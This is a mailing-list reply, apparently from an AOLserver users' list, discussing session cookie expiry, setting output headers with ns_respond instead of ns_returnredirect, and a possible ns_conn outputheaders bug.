> the users' disks, you'll have to set the expires to something in the
future.
> an unset expires means "only in the browser session" which really means
> "until the user closes the browser". a favorite resource of mine is:

Thats what I want for a session cookie, so I have it set to expire when
browser is closed..  in some circumstances I even remove the content of the
cookie and force them to log back in again

> http://home.netscape.com/newsref/std/cookie_spec.html

I keep meaning to read that... :)

> 2a. this assumes that you include the aforementioned outputheaders in the
> request.  note that ns_returnredirect doesn't allow for a -headers
> arguement.  we instead use a wrapper around ns_respond, which isn't as bad
> as it first seems.

heh, first I have looked at ns_respond...  now I have to figure out how to
handle headers.. :)

> 2b. there was a bug a while back i noted but never took the time to
> duplicate, about ns_conn outputheaders not working.  it might be part of
> your problem.  do a search of the archives for the string "TCL_OUTHDRS" or
> "ns_conn outputheaders does not work" and you'll probably hit the bug i'm
> talking about.

might be..

> i think in general you'll want to switch to using ns_respond and setting
> your own outputheaders, but ns_returnredirect should pass along the
correct
> headers- i.e. including the ones you've set.

it hasn't so far for me :)  but I should have this all straightened out and
finished this weekend (hope hope hope)  then I can write up my trials and
tribulations of getting the ccBill credit card charging system to work with
Aolserver..  (I had to *shudder* call tcl scripts from perl scripts)

>
> folks, is this last assumption correct?
>

--
  Patrick Spence <[EMAIL PROTECTED]>
  Want weather reports delevered to your desktop?
http://ww2.weatherbug.com/aff/default.asp?ZCode=z3345